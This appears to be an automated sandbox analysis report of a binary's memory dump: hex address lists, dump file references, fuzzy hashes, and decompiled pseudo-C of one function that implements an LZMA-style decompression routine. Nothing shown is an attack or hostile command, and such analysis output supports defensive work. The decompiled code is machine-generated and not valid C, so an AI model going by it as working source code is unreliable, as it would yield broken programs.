0x00000000
0x0040723e
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x00407157
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x004074bf
0x00000000
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000
0x004074f6
0x00407343
0x004073c3
0x0040738c

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction ID: a7b8be33b9a7519416cae36d16977938a601532f9034d24a777c3823dc36e66c
Opcode Fuzzy Hash: 32b4e55e20c06e4ab42ecec14c412173dc536429d2dc8db053d5bec18c4e9e97
Instruction Fuzzy Hash: F7A14571D04229CBDB28CFA8C854BADBBB1FF44305F14806ED856BB281D7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00407291, Relevance: 5.2, APIs: 4, Instructions: 208
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407291() {
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int* _t605;
				void* _t612;

				L0:
				while(1) {
					L0:
					if( *(_t612 - 0x40) != 0) {
						 *(_t612 - 0x84) = 0x13;
						_t605 =  *((intOrPtr*)(_t612 - 0x58)) + 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x4c);
						 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
						__ecx =  *(__ebp - 0x58);
						__eax =  *(__ebp - 0x4c) << 4;
						__eax =  *(__ebp - 0x58) + __eax + 4;
						L130:
						 *(__ebp - 0x58) = __eax;
						 *(__ebp - 0x40) = 3;
						L144:
						 *(__ebp - 0x7c) = 0x14;
						L145:
						__eax =  *(__ebp - 0x40);
						 *(__ebp - 0x50) = 1;
						 *(__ebp - 0x48) =  *(__ebp - 0x40);
						L149:
						if( *(__ebp - 0x48) <= 0) {
							__ecx =  *(__ebp - 0x40);
							__ebx =  *(__ebp - 0x50);
							0 = 1;
							__eax = 1 << __cl;
							__ebx =  *(__ebp - 0x50) - (1 << __cl);
							__eax =  *(__ebp - 0x7c);
							 *(__ebp - 0x44) = __ebx;
							while(1) {
								L140:
								 *(_t612 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t612 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M004074FE))) {
										case 0:
											if( *(_t612 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t534 =  *( *(_t612 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t569);
											_push(9);
											_pop(_t570);
											_t608 = _t538 / _t569;
											_t540 = _t538 % _t569 & 0x000000ff;
											asm("cdq");
											_t603 = _t540 % _t570 & 0x000000ff;
											 *(_t612 - 0x3c) = _t603;
											 *(_t612 - 0x1c) = (1 << _t608) - 1;
											 *((intOrPtr*)(_t612 - 0x18)) = (1 << _t540 / _t570) - 1;
											_t611 = (0x300 << _t603 + _t608) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t612 - 0x78))) {
												L10:
												if(_t611 == 0) {
													L12:
													 *(_t612 - 0x48) =  *(_t612 - 0x48) & 0x00000000;
													 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t611 = _t611 - 1;
													 *((short*)( *(_t612 - 4) + _t611 * 2)) = 0x400;
												} while (_t611 != 0);
												goto L12;
											}
											if( *(_t612 - 4) != 0) {
												GlobalFree( *(_t612 - 4));
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t612 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t612 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 1;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x40) =  *(_t612 - 0x40) | ( *( *(_t612 - 0x70)) & 0x000000ff) <<  *(_t612 - 0x48) << 0x00000003;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											_t45 = _t612 - 0x48;
											 *_t45 =  *(_t612 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t612 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t612 - 0x40);
											if(_t546 ==  *(_t612 - 0x74)) {
												L20:
												 *(_t612 - 0x48) = 5;
												 *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) =  *( *(_t612 - 8) +  *(_t612 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t612 - 0x74) = _t546;
											if( *(_t612 - 8) != 0) {
												GlobalFree( *(_t612 - 8));
											}
											_t534 = GlobalAlloc(0x40,  *(_t612 - 0x40)); // executed
											 *(_t612 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t612 - 0x60) &  *(_t612 - 0x1c);
											 *(_t612 - 0x84) = 6;
											 *(_t612 - 0x4c) = _t553;
											_t605 =  *(_t612 - 4) + (( *(_t612 - 0x38) << 4) + _t553) * 2;
											goto L132;
										case 3:
											L21:
											__eflags =  *(_t612 - 0x6c);
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 3;
												goto L170;
											}
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											_t67 = _t612 - 0x70;
											 *_t67 =  &(( *(_t612 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L23:
											 *(_t612 - 0x48) =  *(_t612 - 0x48) - 1;
											if( *(_t612 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t605;
											_t588 = _t531 & 0x0000ffff;
											_t564 = ( *(_t612 - 0x10) >> 0xb) * _t588;
											if( *(_t612 - 0xc) >= _t564) {
												 *(_t612 - 0x10) =  *(_t612 - 0x10) - _t564;
												 *(_t612 - 0xc) =  *(_t612 - 0xc) - _t564;
												 *(_t612 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												__eflags = _t532;
												 *_t605 = _t532;
											} else {
												 *(_t612 - 0x10) = _t564;
												 *(_t612 - 0x40) =  *(_t612 - 0x40) & 0x00000000;
												 *_t605 = (0x800 - _t588 >> 5) + _t531;
											}
											if( *(_t612 - 0x10) >= 0x1000000) {
												goto L139;
											} else {
												goto L137;
											}
										case 5:
											L137:
											if( *(_t612 - 0x6c) == 0) {
												 *(_t612 - 0x88) = 5;
												goto L170;
											}
											 *(_t612 - 0x10) =  *(_t612 - 0x10) << 8;
											 *(_t612 - 0x6c) =  *(_t612 - 0x6c) - 1;
											 *(_t612 - 0x70) =  &(( *(_t612 - 0x70))[1]);
											 *(_t612 - 0xc) =  *(_t612 - 0xc) << 0x00000008 |  *( *(_t612 - 0x70)) & 0x000000ff;
											L139:
											_t533 =  *(_t612 - 0x84);
											goto L140;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											goto L132;
										case 8:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xa;
												__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
											} else {
												__eax =  *(__ebp - 0x38);
												__ecx =  *(__ebp - 4);
												__eax =  *(__ebp - 0x38) + 0xf;
												 *(__ebp - 0x84) = 9;
												 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
												__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
											}
											goto L132;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L90;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t259 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t259;
											0 | _t259 = _t259 + _t259 + 9;
											 *(__ebp - 0x38) = _t259 + _t259 + 9;
											goto L76;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												goto L132;
											}
											__eax =  *(__ebp - 0x28);
											goto L89;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L89:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L90:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L100:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t335 = __ebp - 0x70;
											 *_t335 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t335;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L102;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L110:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t366 = __ebp - 0x70;
											 *_t366 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t366;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L112;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											L132:
											 *(_t612 - 0x54) = _t605;
											goto L133;
										case 0x12:
											goto L0;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												goto L144;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											goto L130;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											L140:
											 *(_t612 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L121;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push(3);
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											goto L145;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											goto L149;
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L120:
												_t394 = __ebp - 0x2c;
												 *_t394 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t394;
												L121:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
